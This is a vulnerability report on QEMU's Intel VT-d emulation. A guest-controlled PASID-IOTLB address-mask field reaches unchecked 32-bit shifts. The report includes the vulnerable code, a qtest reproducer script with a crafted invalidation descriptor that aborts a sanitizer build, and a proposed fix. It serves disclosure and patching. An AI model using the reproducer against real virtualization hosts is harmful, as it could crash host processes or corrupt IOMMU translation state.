I can trigger a host-side UndefinedBehaviorSanitizer shift-out-of-bounds report in current QEMU master through the Intel VT-d queued invalidation path when scalable mode / PASID support is enabled. The issue is in the PASID-IOTLB PSI invalidation handling. The guest-controlled Address Mask (`AM`) field is copied from the PASID-IOTLB invalidation descriptor and is used directly in 32-bit shift expressions: ```c static bool vtd_process_piotlb_desc(IntelIOMMUState *s, VTDInvDesc *inv_desc) { ... case VTD_INV_DESC_PIOTLB_PSI_IN_PASID: am = VTD_INV_DESC_PIOTLB_AM(inv_desc->val[1]); addr = (hwaddr) VTD_INV_DESC_PIOTLB_ADDR(inv_desc->val[1]); vtd_piotlb_page_invalidate(s, domain_id, pasid, addr, am, VTD_INV_DESC_PIOTLB_IH(inv_desc)); break; ... } ``` The sink is: ```c static void vtd_piotlb_page_invalidate(IntelIOMMUState *s, uint16_t domain_id, uint32_t pasid, hwaddr addr, uint8_t am, bool ih) { VTDIOTLBPageInvInfo info; info.domain_id = domain_id; info.pasid = pasid; info.addr = addr; info.mask = ~((1 << am) - 1); vtd_iommu_lock(s); g_hash_table_foreach_remove(s->iotlb, vtd_hash_remove_by_page_piotlb, &info); vtd_flush_host_piotlb_all_locked(s, domain_id, pasid, addr, 1 << am, ih); vtd_iommu_unlock(s); vtd_iotlb_page_invalidate_notify(s, domain_id, addr, am, pasid); } ``` `VTD_INV_DESC_PIOTLB_AM()` extracts a 6-bit field: ```c #define VTD_INV_DESC_PIOTLB_AM(val) ((val) & 0x3fULL) ``` Therefore a guest can provide `AM = 63`. On the tested build this reaches `1 << 63`, which is undefined behavior because the left operand is a 32-bit `int`. The same unbounded `am` value is also propagated to `vtd_iotlb_page_invalidate_notify()`, which computes an invalidation size from another `1 << am` expression. For comparison, the normal IOTLB page invalidation path validates `AM` before calling its page-invalidation helper: ```c case VTD_INV_DESC_IOTLB_PAGE: domain_id = VTD_INV_DESC_IOTLB_DID(inv_desc->lo); addr = VTD_INV_DESC_IOTLB_ADDR(inv_desc->hi); am = VTD_INV_DESC_IOTLB_AM(inv_desc->hi); if (am > VTD_MAMV) { error_report_once(...); return false; } vtd_iotlb_page_invalidate(s, domain_id, addr, am); break; ``` The PASID-IOTLB path lacks an equivalent safe range check or overflow-safe size calculation. ## Environment I reproduced this on current master in the following environment: - host: x86_64 Linux - QEMU commit: `b83371668192a705b878e909c5ae9c1233cbd5fb` - build: `../configure --target-list=x86_64-softmmu --enable-ubsan --disable-werror` - machine: `q35` - device/configuration used for reproduction: `intel-iommu,scalable-mode=on,pasid-bits=20` ## Steps to reproduce Build a UBSan QEMU: ```text mkdir build-ubsan cd build-ubsan ../configure --target-list=x86_64-softmmu --enable-ubsan --disable-werror ninja -j$(nproc) qemu-system-x86_64 cd .. ``` Save the following as `repro_intel_iommu_piotlb_am_shift_ub.sh`: ```sh #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build-ubsan/qemu-system-x86_64} UBSAN_OPTIONS=${UBSAN_OPTIONS:-halt_on_error=1:print_stacktrace=1} \ timeout 5s "$QEMU" \ -display none \ -nodefaults \ -machine q35,accel=qtest \ -m 128M \ -device intel-iommu,scalable-mode=on,pasid-bits=20 \ -qtest stdio <<'QTEST' # Touch the VT-d MMIO region; version should read as 0x10. readl 0xfed90000 # Put one 256-bit queued-invalidation descriptor at guest physical 0x10000. # Descriptor type = PASID-IOTLB (0x6), granularity = PSI-in-PASID (0x30), # PASID = 1, DID = 0, address = 0x2000, AM = 63. # val0 = 0x0000000100000036, val1 = 0x000000000000203f write 0x10000 0x20 0x36000000010000003f2000000000000000000000000000000000000000000000 # Program IQA: base 0x10000, descriptor width = 256-bit (DW bit 0x800), QS=0. writeq 0xfed90090 0x0000000000010800 # Enable queued invalidation: GCMD.QIE bit 26. writel 0xfed90018 0x04000000 # Submit one descriptor. For 256-bit entries, tail is index << 5. writeq 0xfed90088 0x0000000000000020 clock_step 1000000 QTEST ``` Run: ```text chmod +x repro_intel_iommu_piotlb_am_shift_ub.sh ./repro_intel_iommu_piotlb_am_shift_ub.sh ``` ## Security boundary note The reproducer uses qtest only for deterministic MMIO and guest-memory setup. The affected path is the Intel VT-d virtual IOMMU queued invalidation interface exposed to guests on an x86_64 `q35` virtualization machine when `intel-iommu` is configured with scalable/PASID support. This is not a qtest-only issue: a guest that can program the VT-d queued invalidation registers can place a PASID-IOTLB PSI invalidation descriptor in guest memory and submit it through the emulated IOMMU MMIO interface. The immediate sanitizer finding is undefined behavior in the host process. The non-sanitized impact is also security-relevant logic risk: the same guest-controlled `AM` value is used to compute the PASID-IOTLB removal mask and the invalidation length sent to host/notifier paths. A miscomputed invalidation range may under-invalidate or otherwise incorrectly invalidate translations, which is especially relevant for virtual IOMMU configurations involving device assignment / iommufd-style notifier paths. ## UBSan output With a UBSan build this aborts the host process with: ```text hw/i386/intel_iommu.c:3027:22: runtime error: shift exponent 63 is too large for 32-bit type 'int' #0 vtd_piotlb_page_invalidate hw/i386/intel_iommu.c:3027 #1 vtd_process_piotlb_desc hw/i386/intel_iommu.c:3064 #2 vtd_process_inv_desc hw/i386/intel_iommu.c:3455 #3 vtd_fetch_inv_desc hw/i386/intel_iommu.c:3527 #4 memory_region_write_accessor system/memory.c:492 #5 access_with_adjusted_size system/memory.c:568 #6 memory_region_dispatch_write system/memory.c:1557 #7 flatview_write_continue_step system/physmem.c:3263 #8 flatview_write_continue system/physmem.c:3293 #9 flatview_write system/physmem.c:3324 #10 address_space_write system/physmem.c:3444 #11 qtest_process_command system/qtest.c:540 #12 qtest_process_inbuf system/qtest.c:824 ``` The triggering qtest output before the abort is: ```text OK 0x0000000000000010 OK OK OK ``` ## Suggested fix The PASID-IOTLB PSI path should avoid using an unchecked 6-bit guest field in 32-bit shifts. A minimal hardening fix is to validate `am` before calling `vtd_piotlb_page_invalidate()`, and to ensure the invalidation size/mask calculations cannot overflow. For example: ```c case VTD_INV_DESC_PIOTLB_PSI_IN_PASID: am = VTD_INV_DESC_PIOTLB_AM(inv_desc->val[1]); addr = (hwaddr)VTD_INV_DESC_PIOTLB_ADDR(inv_desc->val[1]); if (am > VTD_MAMV) { error_report_once("%s: invalid piotlb inv desc: hi=0x%"PRIx64 ", lo=0x%"PRIx64" (am=%u > VTD_MAMV=%u)", __func__, inv_desc->val[1], inv_desc->val[0], am, (unsigned)VTD_MAMV); return false; } vtd_piotlb_page_invalidate(s, domain_id, pasid, addr, am, VTD_INV_DESC_PIOTLB_IH(inv_desc)); break; ``` If PASID-IOTLB must accept a wider `AM` range than `VTD_MAMV` for spec compliance, the fix should still reject or saturate values that cannot be represented safely by QEMU's mask/length types, and should replace all `1 << am` expressions in this path with explicitly sized, overflow-checked arithmetic.